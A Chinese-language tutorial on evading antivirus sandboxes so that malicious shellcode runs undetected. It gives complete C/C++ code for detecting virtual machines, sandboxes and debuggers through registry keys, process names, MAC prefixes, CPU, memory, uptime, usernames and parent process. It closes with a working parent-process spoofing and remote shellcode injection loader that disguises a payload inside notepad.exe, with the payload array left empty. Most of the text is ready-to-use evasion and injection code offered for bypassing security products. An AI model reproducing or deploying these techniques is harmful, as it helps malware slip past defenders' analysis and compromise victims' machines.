沙箱检测与绕过:反调试、虚拟机检测与父进程伪造实战
前言现在绝大多数免杀思路为混淆shellcode,这个只要多套几层加密就可以绕过静态检测,难的是绕过动态检测,因为它会对你的行为进行分析,但是动态检测大多情况在沙箱或者虚拟机调试分析,那如果我们可以识别出这些运行环境,避免在这些沙箱上面运行,是不是就绕过了动态检测了呢?最后再执行shellcode,免杀不就完成了吗?本文系统梳理了当前主流沙箱平台的共性特征,并围绕六大关键维度展开深入实践:用户名与
前言
现在绝大多数免杀思路为混淆shellcode,这个只要多套几层加密就可以绕过静态检测,难的是绕过动态检测,因为它会对你的行为进行分析,但是动态检测大多情况在沙箱或者虚拟机调试分析,那如果我们可以识别出这些运行环境,避免在这些沙箱上面运行,是不是就绕过了动态检测了呢?最后再执行shellcode,免杀不就完成了吗?
本文系统梳理了当前主流沙箱平台的共性特征,并围绕六大关键维度展开深入实践:
- 用户名与主机名敏感词检测
- 调试器存在性验证
- 虚拟化痕迹识别(注册表、进程、MAC 地址)
- 系统资源异常判断(CPU、内存、启动时间)
- 父进程合法性校验
- 父进程伪造技术
常见云沙箱:
- https://s.threatbook.com/ 微步沙箱
- https://www.virustotal.com/ VT
- https://any.run/ 可交互式的沙箱
- https://www.joesandbox.com/#windows joe沙箱
- https://www.hybrid-analysis.com/ hybrid分析系统
- https://sandbox.dbappsecurity.com.cn/ 安恒云沙箱
- https://sandbox.ti.qianxin.com/sandbox/page 奇安信沙箱
- https://sandbox.freebuf.com/ freebuf沙箱
- https://ata.360.net/ 360云沙箱
- https://habo.qq.com/ 哈勃沙箱
注册表检测
通过检查 Windows 注册表中特定路径下是否存在与虚拟化平台相关的字符串,来判断当前是否运行在虚拟机环境中
虚拟机注册表常见字段:
- "HKLM\HARDWARE\DEVICETREE\SYSTEM"
- "HKLM\HARDWARE\DESCRIPTION\System"
- "HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum"
实现代码:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
// 要检测的关键词(全部小写)
const char* keywords[] = {
"vmware", "virtual", "vbox", "qemu", "xen"
};
const int KEYWORD_COUNT = sizeof(keywords) / sizeof(keywords[0]);
// 转小写
void to_lower_str(char* str) {
for (size_t i = 0; str[i]; i++) {
str[i] = (char)tolower((unsigned char)str[i]);
}
}
// 检查字符串是否包含任一关键词
int contains_virt_keyword(const char* input) {
if (!input) return 0;
char* lower = _strdup(input);
if (!lower) return 0;
to_lower_str(lower);
for (int i = 0; i < KEYWORD_COUNT; i++) {
if (strstr(lower, keywords[i]) != NULL) {
free(lower);
return 1;
}
}
free(lower);
return 0;
}
// 将宽字符转为多字节字符串(UTF-8)
char* wchar_to_utf8(const wchar_t* wstr) {
if (!wstr) return NULL;
int len = WideCharToMultiByte(CP_UTF8, 0, wstr, -1, NULL, 0, NULL, NULL);
if (len <= 0) return NULL;
char* buf = (char*)malloc(len);
if (!buf) return NULL;
WideCharToMultiByte(CP_UTF8, 0, wstr, -1, buf, len, NULL, NULL);
return buf;
}
// 递归检查注册表键及其子键和值
int check_registry_key(HKEY hRoot, const wchar_t* subKeyPath) {
HKEY hKey;
LONG ret = RegOpenKeyExW(hRoot, subKeyPath, 0, KEY_READ, &hKey);
if (ret != ERROR_SUCCESS) {
return 0;
}
// 枚举所有值(Values)
DWORD maxValueNameLen = 0, maxValueDataLen = 0;
RegQueryInfoKeyW(hKey, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, &maxValueNameLen, &maxValueDataLen, NULL, NULL);
DWORD maxNameSize = maxValueNameLen + 1;
DWORD maxDataSize = maxValueDataLen;
wchar_t* valueName = (wchar_t*)malloc(maxNameSize * sizeof(wchar_t));
BYTE* valueData = (BYTE*)malloc(maxDataSize);
if (valueName && valueData) {
DWORD index = 0;
while (1) {
DWORD nameSize = maxNameSize;
DWORD dataSize = maxDataSize;
DWORD valueType = 0;
ret = RegEnumValueW(hKey, index, valueName, &nameSize, NULL, &valueType, valueData, &dataSize);
if (ret != ERROR_SUCCESS) break;
// 只处理字符串类型(REG_SZ, REG_EXPAND_SZ)
if (valueType == REG_SZ || valueType == REG_EXPAND_SZ) {
char* dataStr = wchar_to_utf8((wchar_t*)valueData);
if (dataStr) {
if (contains_virt_keyword(dataStr)) {
printf("[+] Found virtualization keyword in value data: %s\n", dataStr);
free(dataStr);
free(valueName);
free(valueData);
RegCloseKey(hKey);
return 1;
}
free(dataStr);
}
}
// 检查值名称本身
char* nameStr = wchar_to_utf8(valueName);
if (nameStr) {
if (contains_virt_keyword(nameStr)) {
printf("[+] Found virtualization keyword in value name: %s\n", nameStr);
free(nameStr);
free(valueName);
free(valueData);
RegCloseKey(hKey);
return 1;
}
free(nameStr);
}
index++;
}
}
// 枚举子键(Subkeys)
DWORD maxSubKeyLen = 0;
RegQueryInfoKeyW(hKey, NULL, NULL, NULL, NULL, &maxSubKeyLen, NULL,
NULL, NULL, NULL, NULL, NULL);
DWORD subKeySize = maxSubKeyLen + 1;
wchar_t* subKeyName = (wchar_t*)malloc(subKeySize * sizeof(wchar_t));
if (subKeyName) {
DWORD index = 0;
while (1) {
DWORD size = subKeySize;
ret = RegEnumKeyExW(hKey, index, subKeyName, &size, NULL, NULL, NULL, NULL);
if (ret != ERROR_SUCCESS) break;
// 检查子键名
char* keyNameStr = wchar_to_utf8(subKeyName);
if (keyNameStr) {
if (contains_virt_keyword(keyNameStr)) {
printf("[+] Found virtualization keyword in subkey name: %s\n", keyNameStr);
free(keyNameStr);
free(subKeyName);
free(valueName);
free(valueData);
RegCloseKey(hKey);
return 1;
}
free(keyNameStr);
}
// 递归检查子键(可选,此处暂不递归以避免过深)
// 若需递归,可拼接路径并调用 check_registry_key
index++;
}
free(subKeyName);
}
free(valueName);
free(valueData);
RegCloseKey(hKey);
return 0;
}
int main() {
const wchar_t* paths[] = {
L"HARDWARE\\DEVICETREE\\SYSTEM",
L"HARDWARE\\DESCRIPTION\\System",
L"SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum"
};
int pathCount = sizeof(paths) / sizeof(paths[0]);
printf("[*] Checking registry for virtualization artifacts...\n");
int detected = 0;
for (int i = 0; i < pathCount; i++) {
printf("[*] Checking: HKLM\\%ls\n", paths[i]);
if (check_registry_key(HKEY_LOCAL_MACHINE, paths[i])) {
detected = 1;
break;
}
}
if (detected) {
printf("\n[!] Virtual machine detected via registry!\n");
} else {
printf("\n[*] No virtualization keywords found in registry.\n");
}
return 0;
}虚拟机运行效果:

本机运行:

可以发现虚拟机注册表被检测出来了,本机没有
检查虚拟机进程
通过枚举当前系统中运行的进程列表,检查是否存在与主流虚拟化平台相关的特定进程名,从而判断是否运行在虚拟机环境中
常见进程名:
- "vboxservice"
- "vboxtray"
- "vmwaretray"
- "vmwareuser"
- "vmacthlp"
- "vmsrvc"
- "vmusrvc"
- "prl_cc"
- "prl_tools"
实现代码:
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
const char* vm_processes[] = {
"vboxservice", "vboxtray", "vmwaretray", "vmwareuser",
"vmacthlp", "vmsrvc", "vmusrvc", "prl_cc", "prl_tools"
};
const int VM_PROCESS_COUNT = sizeof(vm_processes) / sizeof(vm_processes[0]);
void to_lower_str(char* str) {
for (size_t i = 0; str[i]; i++) {
str[i] = (char)tolower((unsigned char)str[i]);
}
}
int is_vm_process(const char* process_name) {
if (!process_name) return 0;
char lower_name[MAX_PATH];
strncpy(lower_name, process_name, MAX_PATH - 1);
lower_name[MAX_PATH - 1] = '\0';
to_lower_str(lower_name);
// 去掉 ".exe" 后缀
size_t len = strlen(lower_name);
if (len > 4 && strcmp(lower_name + len - 4, ".exe") == 0) {
lower_name[len - 4] = '\0';
}
for (int i = 0; i < VM_PROCESS_COUNT; i++) {
if (strcmp(lower_name, vm_processes[i]) == 0) {
return 1;
}
}
return 0;
}
int main() {
printf("[*] Checking running processes for VM artifacts...\n");
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("[-] CreateToolhelp32Snapshot failed.\n");
return 1;
}
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe32)) {
printf("[-] Process32First failed.\n");
CloseHandle(hSnapshot);
return 1;
}
int detected = 0;
do {
if (is_vm_process(pe32.szExeFile)) {
printf("[+] Detected VM process: %s (PID: %u)\n", pe32.szExeFile, pe32.th32ProcessID);
detected = 1;
}
} while (Process32Next(hSnapshot, &pe32));
CloseHandle(hSnapshot);
if (detected) {
printf("\n[!] Virtual machine detected via process list!\n");
} else {
printf("\n[*] No VM processes found.\n");
}
return 0;
}
检查虚拟网卡
通过检查本机网络接口的 MAC 地址前缀(OUI,组织唯一标识符) 是否属于已知的虚拟化厂商,从而判断是否运行在虚拟环境中
常见MAC地址前缀:
● "00:05:69"
● "00:0C:29"
● "00:1C:14"
● "00:50:56"
● "08:00:27"
● "0A:00:27"
● "00:1C:42"
● "00:03:FF
实现代码:
// 必须在 windows.h 之前定义!
#define _WIN32_WINNT 0x0600
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h> // 提供 AF_UNSPEC
#include <iphlpapi.h> // 提供 GetAdaptersAddresses
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// 虚拟机 MAC 地址前缀(OUI)
const unsigned char vm_ouis[][3] = {
{0x00, 0x05, 0x69}, // VMware
{0x00, 0x0C, 0x29}, // VMware
{0x00, 0x1C, 0x14}, // VMware
{0x00, 0x50, 0x56}, // VMware
{0x08, 0x00, 0x27}, // VirtualBox
{0x0A, 0x00, 0x27}, // VirtualBox
{0x00, 0x1C, 0x42}, // Parallels
{0x00, 0x03, 0xFF} // Hyper-V
};
const int VM_OUI_COUNT = sizeof(vm_ouis) / sizeof(vm_ouis[0]);
int is_vm_mac(const unsigned char mac[6]) {
if (!mac) return 0;
for (int i = 0; i < VM_OUI_COUNT; i++) {
if (mac[0] == vm_ouis[i][0] &&
mac[1] == vm_ouis[i][1] &&
mac[2] == vm_ouis[i][2]) {
return 1;
}
}
return 0;
}
void format_mac(const unsigned char mac[6], char* out) {
sprintf(out, "%02X:%02X:%02X:%02X:%02X:%02X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
}
int main() {
printf("[*] Checking MAC addresses for virtualization artifacts...\n");
ULONG flags = GAA_FLAG_INCLUDE_ALL_INTERFACES;
ULONG family = AF_UNSPEC;
ULONG outBufLen = 0;
PIP_ADAPTER_ADDRESSES pAddresses = NULL;
// 第一次调用:获取所需缓冲区大小
DWORD ret = GetAdaptersAddresses(family, flags, NULL, NULL, &outBufLen);
if (ret != ERROR_BUFFER_OVERFLOW) {
printf("[-] GetAdaptersAddresses failed on size query: %lu\n", ret);
return 1;
}
pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
if (!pAddresses) {
printf("[-] malloc failed\n");
return 1;
}
// 第二次调用:获取实际数据
ret = GetAdaptersAddresses(family, flags, NULL, pAddresses, &outBufLen);
if (ret != NO_ERROR) {
printf("[-] GetAdaptersAddresses failed: %lu\n", ret);
free(pAddresses);
return 1;
}
int detected = 0;
PIP_ADAPTER_ADDRESSES pCurr = pAddresses;
while (pCurr) {
if (pCurr->PhysicalAddressLength == 6) {
unsigned char* mac = pCurr->PhysicalAddress;
char mac_str[20];
format_mac(mac, mac_str);
// 尝试获取适配器名称(ANSI)
char name[256] = "Unknown";
WideCharToMultiByte(CP_UTF8, 0, pCurr->FriendlyName, -1, name, sizeof(name), NULL, NULL);
printf("[*] Adapter: %s\n", name);
printf(" MAC: %s\n", mac_str);
if (is_vm_mac(mac)) {
printf(" [!] Virtual MAC detected!\n");
detected = 1;
}
}
pCurr = pCurr->Next;
}
free(pAddresses);
if (detected) {
printf("\n[!] Virtual machine detected via MAC address!\n");
} else {
printf("\n[*] No known virtual MAC addresses found.\n");
}
return 0;
}虚拟机中运行检测到

检查CPU核心数及内存大小
真实用户设备通常具备 至少 2 个 CPU 核心和 ≥2GB 内存,而许多自动化分析沙箱(如 Cuckoo、AnyRun 的轻量配置)为了节省资源,会使用 1 核 CPU + 1GB 内存 的虚拟机
实现代码:
#define WIN32_LEAN_AND_MEAN
#define _WIN32_WINNT 0x0501 // GlobalMemoryStatusEx requires WinXP+
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
int main() {
printf("[*] Checking system resources for sandbox/virtual machine artifacts...\n");
// === 检测 CPU 核心数 ===
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
DWORD cpuCores = sysInfo.dwNumberOfProcessors;
printf("[*] CPU logical cores: %lu\n", cpuCores);
// === 检测物理内存 ===
MEMORYSTATUSEX memInfo;
memInfo.dwLength = sizeof(memInfo);
GlobalMemoryStatusEx(&memInfo);
uint64_t totalMem = memInfo.ullTotalPhys; // in bytes
uint64_t memMB = totalMem / (1024 * 1024);
printf("[*] Physical memory: %llu MB (%llu bytes)\n", memMB, totalMem);
// === 判断是否符合沙箱特征 ===
int isLowCpu = (cpuCores < 2);
int isLowMem = (totalMem < 2147483648ULL); // 2 GB
if (isLowCpu || isLowMem) {
printf("\n[!] Suspicious environment detected:\n");
if (isLowCpu) {
printf(" - CPU cores < 2\n");
}
if (isLowMem) {
printf(" - Memory < 2 GB\n");
}
printf("\n[!] Likely running in a sandbox or low-resource VM!\n");
return 1; // 可用于触发退出或静默
} else {
printf("\n[*] System resources appear normal (not a typical sandbox).\n");
return 0;
}
}虚拟机中运行:

本机运行:

检查系统启动时间
真实用户系统通常已运行较长时间,而大多数沙箱在启动样本前才刚开机,系统运行时间往往 < 120 秒。检测甚至可以更长
实现代码:
#define WIN32_LEAN_AND_MEAN
#define _WIN32_WINNT 0x0600 // GetTickCount64 requires Vista+
#include <windows.h>
#include <stdio.h>
int main() {
printf("[*] Checking system uptime for sandbox artifacts...\n");
// 获取系统启动以来的毫秒数
ULONGLONG uptime_ms = GetTickCount64();
ULONGLONG uptime_sec = uptime_ms / 1000;
printf("[*] System uptime: %llu seconds (%llu ms)\n", uptime_sec, uptime_ms);
if (uptime_sec < 120) {
printf("\n[!] Suspicious: System uptime < 120 seconds!\n");
printf("[!] Likely running in a freshly started sandbox or VM.\n");
return 1; // 可用于触发退出、静默等行为
} else {
printf("\n[*] System uptime appears normal (>= 120 seconds).\n");
return 0;
}
}效果:

检查用户名
许多自动化恶意软件分析平台为了便于识别,会使用包含 "sandbox"、"test"、"malware" 等关键词的用户名或主机名。通过检测当前登录用户名是否包含这些敏感词,即可判断是否处于分析环境中,并选择不执行恶意行为
实现代码:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
// 要检测的敏感关键词(小写)
const char* suspicious_keywords[] = {
"sandbox",
"malware",
"analy",
"virus",
"test"
};
const int KEYWORD_COUNT = sizeof(suspicious_keywords) / sizeof(suspicious_keywords[0]);
// 转为小写
void to_lower_str(char* str) {
for (size_t i = 0; str[i]; i++) {
str[i] = (char)tolower((unsigned char)str[i]);
}
}
// 检查用户名是否包含任一敏感词
int is_suspicious_username(const char* username) {
if (!username || !*username) return 0;
char lower_name[256];
strncpy(lower_name, username, sizeof(lower_name) - 1);
lower_name[sizeof(lower_name) - 1] = '\0';
to_lower_str(lower_name);
for (int i = 0; i < KEYWORD_COUNT; i++) {
if (strstr(lower_name, suspicious_keywords[i]) != NULL) {
return 1;
}
}
return 0;
}
int main() {
printf("[*] Checking current username for sandbox/analysis artifacts...\n");
char username[256];
DWORD size = sizeof(username);
if (!GetUserNameA(username, &size)) {
printf("[-] Failed to retrieve username (error: %lu)\n", GetLastError());
return 1;
}
printf("[*] Current username: %s\n", username);
if (is_suspicious_username(username)) {
printf("\n[!] Suspicious username detected!\n");
printf("[!] Likely running in a sandbox or analysis environment.\n");
return 1; // 可用于触发退出或静默
} else {
printf("\n[*] Username appears normal.\n");
return 0;
}
}
检查是否被调试
检测当前进程是否被调试是恶意软件和受保护程序中非常常见的技术。Windows 提供了多种 API 和系统机制可用于实现这一目的。
IsDebuggerPresent() | 检查 PEB 中的 BeingDebugged标志 |
CheckRemoteDebuggerPresent() | 检查是否有远程调试器附加 |
NtQueryInformationProcess+ ProcessDebugPort | 查询进程调试端口(非零 = 被调试) |
OutputDebugString异常检测 | 若存在调试器,不会触发异常 |
CloseHandle无效句柄触发异常 | 调试器会拦截异常 |
实现代码:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <winternl.h> // for NtQueryInformationProcess
// 手动声明 NtQueryInformationProcess(因 winternl.h 可能未导出)
typedef LONG (NTAPI *PNtQueryInformationProcess)(
HANDLE ProcessHandle,
ULONG ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
int check_debugger_IsDebuggerPresent() {
return IsDebuggerPresent();
}
int check_debugger_CheckRemoteDebuggerPresent() {
BOOL isRemote = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &isRemote);
return isRemote;
}
int check_debugger_NtQueryInfo() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return 0;
PNtQueryInformationProcess NtQueryInfo = (PNtQueryInformationProcess)
GetProcAddress(hNtdll, "NtQueryInformationProcess");
if (!NtQueryInfo) return 0;
DWORD debugPort = 0;
NTSTATUS status = NtQueryInfo(
GetCurrentProcess(),
7, // ProcessDebugPort
&debugPort,
sizeof(debugPort),
NULL
);
// 如果成功且 debugPort != 0,则被调试
return (NT_SUCCESS(status) && debugPort != 0);
}
int main() {
printf("[*] Checking if current process is being debugged...\n");
int detected = 0;
if (check_debugger_IsDebuggerPresent()) {
printf("[!] Detected debugger via IsDebuggerPresent()\n");
detected = 1;
}
if (check_debugger_CheckRemoteDebuggerPresent()) {
printf("[!] Detected remote debugger via CheckRemoteDebuggerPresent()\n");
detected = 1;
}
if (check_debugger_NtQueryInfo()) {
printf("[!] Detected debugger via NtQueryInformationProcess(ProcessDebugPort)\n");
detected = 1;
}
if (detected) {
printf("\n[!] WARNING: Process appears to be under debugging!\n");
return 1;
} else {
printf("\n[*] No debugger detected.\n");
return 0;
}
}正常终端运行:

调试工具内运行:

检测父进程
在正常用户场景下,双击运行一个 .exe 文件时,其父进程是 explorer.exe;而在沙箱、自动化脚本、命令行批量分析等非交互式环境中,父进程通常是其他进程(如 python.exe、analyzer.exe、cmd.exe等),因此,通过验证父进程是否为 explorer.exe,可以间接判断当前是否处于“真实用户环境”。如果不是,那么我们就直接exit退出,这样,杀软就无法继续对我们进行行为分析了。所以思路就是先获取自身进程的PID,然后遍历进程快照,读取父 PID,再根据父 PID,查找父进程名,最后与 explorer.exe 比较,若相同则不为沙箱可以继续运行程序,若不相同则为沙箱直接exit()退出程序
获取当前进程的父进程 PID
首先调用 CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 获取系统所有进程快照。然后遍历进程列表,找到当前进程(GetCurrentProcessId()),记录其 th32ParentProcessID。这个字段在 Windows 的 PROCESSENTRY32 结构中表示父进程 PID。
实现代码:
通过遍历系统进程列表,找到当前进程的条目,并从中提取其父进程的 PID
DWORD get_current_process_parent_pid() {
DWORD currentPid = GetCurrentProcessId();//获取当前进程pid
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32 pe = {0};
pe.dwSize = sizeof(PROCESSENTRY32);
DWORD parentPid = 0;
if (Process32First(hSnapshot, &pe)) {
do {
if (pe.th32ProcessID == currentPid) {
parentPid = pe.th32ParentProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return parentPid;
}根据 PID 获取进程名
示例代码:
bool get_process_name_by_pid(DWORD pid, char* name_out, size_t name_size) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return false;
}
PROCESSENTRY32 pe = {0};
pe.dwSize = sizeof(PROCESSENTRY32);
bool found = false;
if (Process32First(hSnapshot, &pe)) {
do {
if (pe.th32ProcessID == pid) {
strncpy(name_out, pe.szExeFile, name_size - 1);
name_out[name_size - 1] = '\0';
found = true;
break;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return found;
}分析一下核心代码:
bool found = false;
if (Process32First(hSnapshot, &pe)) {
do {
if (pe.th32ProcessID == pid) {
strncpy(name_out, pe.szExeFile, name_size - 1);
name_out[name_size - 1] = '\0';
found = true;
break;
}
} while (Process32Next(hSnapshot, &pe));
}Process32First:获取快照中的第一个进程信息。
Process32Next:继续获取下一个进程,直到返回 FALSE(遍历结束)。
当找到 pe.th32ProcessID == pid 时:使用 strncpy 将 pe.szExeFile复制到 name_out;手动在末尾添加 \0,确保字符串安全终止;设置 found = true 并跳出循环。
最终代码
这里我打印了当前进程及父进程,及父进程pid对应程序,便于更好看到效果
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
// 将字符串转为小写(ANSI)
void str_to_lower(char* str) {
for (int i = 0; str[i]; i++) {
if (str[i] >= 'A' && str[i] <= 'Z') {
str[i] = str[i] - 'A' + 'a';
}
}
}
// 根据 PID 获取进程名(返回 true 表示成功)
bool get_process_name_by_pid(DWORD pid, char* name_out, size_t name_size) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return false;
}
PROCESSENTRY32 pe = {0};
pe.dwSize = sizeof(PROCESSENTRY32);
bool found = false;
if (Process32First(hSnapshot, &pe)) {
do {
if (pe.th32ProcessID == pid) {
strncpy(name_out, pe.szExeFile, name_size - 1);
name_out[name_size - 1] = '\0';
found = true;
break;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return found;
}
// 获取当前进程的父进程 PID
DWORD get_current_process_parent_pid() {
DWORD currentPid = GetCurrentProcessId();
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32 pe = {0};
pe.dwSize = sizeof(PROCESSENTRY32);
DWORD parentPid = 0;
if (Process32First(hSnapshot, &pe)) {
do {
if (pe.th32ProcessID == currentPid) {
parentPid = pe.th32ParentProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return parentPid;
}
int main() {
DWORD currentPid = GetCurrentProcessId();
printf("[*] Current process PID: %lu\n", currentPid);
// 获取当前进程的父进程 PID
DWORD parentPid = get_current_process_parent_pid();
if (parentPid == 0) {
printf("[!] Failed to get parent process PID.\n");
return 1;
}
printf("[*] Parent process PID: %lu\n", parentPid);
// 获取父进程名称
char parentName[MAX_PATH] = {0};
if (!get_process_name_by_pid(parentPid, parentName, sizeof(parentName))) {
printf("[!] Failed to get parent process name (PID: %lu).\n", parentPid);
return 1;
}
printf("[*] Parent process image name: %s\n", parentName);
// 转为小写并判断是否为 explorer.exe
char lowerName[MAX_PATH];
strncpy(lowerName, parentName, sizeof(lowerName) - 1);
lowerName[sizeof(lowerName) - 1] = '\0';
str_to_lower(lowerName);
if (strcmp(lowerName, "explorer.exe") == 0) {
// 弹窗:是 explorer
MessageBoxW(
NULL,
L"Parent process is explorer.exe. Proceeding...",
L"Parent Process Check",
MB_OK | MB_ICONINFORMATION
);
} else {
// 控制台输出:不是 explorer
printf("[-] Parent process is not explorer.exe (Detected: %s). Exiting...\n", parentName);
return 0;
}
return 0;
}手动运行效果:

cmd运行效果:

父进程伪造
恶意软件通常不会由 explorer.exe 启动,而是由脚本引擎(如 powershell.exe、wscript.exe)、命令行(cmd.exe)、浏览器或分析器(python.exe)等非交互式进程启动。 沙箱通常用脚本批量运行样本,父进程是 analyzer.exe 或 python.exe,伪造父进程为 explorer.exe 后,沙箱可能认为是真实用户环境,从而绕过。
所以思路就是:首先获取可信父进程 PID(即explorer.exe),然后再伪造父进程, 利用 Windows API 欺骗进程树,创建挂起进程, 启动干净宿主, 将 shellcode注入并运行
获取可信父进程 PID
和上面一样的调用 CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 获取系统所有进程快照, 调用 Process32First:从快照中取出第一个进程的信息,填入 pe,通过对比进程名死否等于 "explorer.exe",返回pid
DWORD GetExplorerPid() {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
if (Process32First(snapshot, &pe)) {
do {
if (_stricmp(pe.szExeFile, "explorer.exe") == 0) {
return pe.th32ProcessID; // ← 找到即返回 PID
}
} while (Process32Next(snapshot, &pe));
}
CloseHandle(snapshot);
return 0;
}伪造父进程
这段代码通过打开 explorer.exe 的进程句柄,利用 InitializeProcThreadAttributeList 和 UpdateProcThreadAttribute 设置 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 属性,伪造新进程的父进程为 explorer.exe
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorerPid);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(nullptr, 1, 0, &attrSize);
auto attrList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(...);
InitializeProcThreadAttributeList(attrList, 1, 0, &attrSize);
UpdateProcThreadAttribute(
attrList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, // ← 关键属性
&hParent, sizeof(HANDLE),
nullptr, nullptr
);创建挂起进程
使用 STARTUPINFOEXA 结构体和 EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED 标志,创建一个主线程挂起的 notepad.exe 进程,并应用预先设置的父进程伪造属性,使其在系统中显示为由 explorer.exe 启动
STARTUPINFOEXA siEx = {0};
siEx.StartupInfo.cb = sizeof(STARTUPINFOEXA);
siEx.lpAttributeList = attrList;
PROCESS_INFORMATION pi = {0};
CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
nullptr, nullptr, nullptr, TRUE,
CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, // ← 关键标志
nullptr, nullptr,
&siEx.StartupInfo, &pi
);注入shellcode
// 1. 分配可执行内存
LPVOID remoteMem = VirtualAllocEx(pi.hProcess, nullptr, sizeof(shellCode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 2. 写入 payload
WriteProcessMemory(pi.hProcess, remoteMem, shellCode, sizeof(shellCode), nullptr);
// 3. 创建远程线程执行
HANDLE hThread = CreateRemoteThread(pi.hProcess, nullptr, 0,
(LPTHREAD_START_ROUTINE)remoteMem,
nullptr, 0, nullptr);
WaitForSingleObject(hThread, INFINITE);最终代码:
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <vector>
// 正确获取 explorer.exe 的 PID
DWORD GetExplorerPid() {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
DWORD pid = 0;
if (Process32First(snapshot, &pe)) {
do {
if (_stricmp(pe.szExeFile, "explorer.exe") == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32Next(snapshot, &pe));
}
CloseHandle(snapshot);
return pid;
}
int main() {
// 示例 shellcode(替换为你的实际 payload)
unsigned char shellCode[] = {
};
DWORD explorerPid = GetExplorerPid();
if (!explorerPid) {
std::cerr << "[-] Failed to find explorer.exe\n";
return 1;
}
std::cout << "[*] Explorer PID: " << explorerPid << "\n";
// 打开 explorer 进程(最小权限)
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorerPid);
if (!hParent) {
std::cerr << "[-] OpenProcess failed\n";
return 1;
}
// 初始化属性列表
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(nullptr, 1, 0, &attrSize);
auto attrList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(attrList, 1, 0, &attrSize);
UpdateProcThreadAttribute(attrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), nullptr, nullptr);
STARTUPINFOEXA siEx = {0};
siEx.StartupInfo.cb = sizeof(STARTUPINFOEXA);
siEx.lpAttributeList = attrList;
PROCESS_INFORMATION pi = {0};
// 创建挂起的 notepad
if (!CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
nullptr, nullptr, nullptr, TRUE,
CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,
nullptr, nullptr,
&siEx.StartupInfo, &pi)) {
std::cerr << "[-] CreateProcess failed\n";
CloseHandle(hParent);
return 1;
}
// 注入 shellcode
LPVOID remoteMem = VirtualAllocEx(pi.hProcess, nullptr, sizeof(shellCode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remoteMem) {
WriteProcessMemory(pi.hProcess, remoteMem, shellCode, sizeof(shellCode), nullptr);
// 更可靠:CreateRemoteThread
HANDLE hThread = CreateRemoteThread(pi.hProcess, nullptr, 0,
(LPTHREAD_START_ROUTINE)remoteMem,
nullptr, 0, nullptr);
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
}
// 清理
DeleteProcThreadAttributeList(attrList);
HeapFree(GetProcessHeap(), 0, attrList);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hParent);
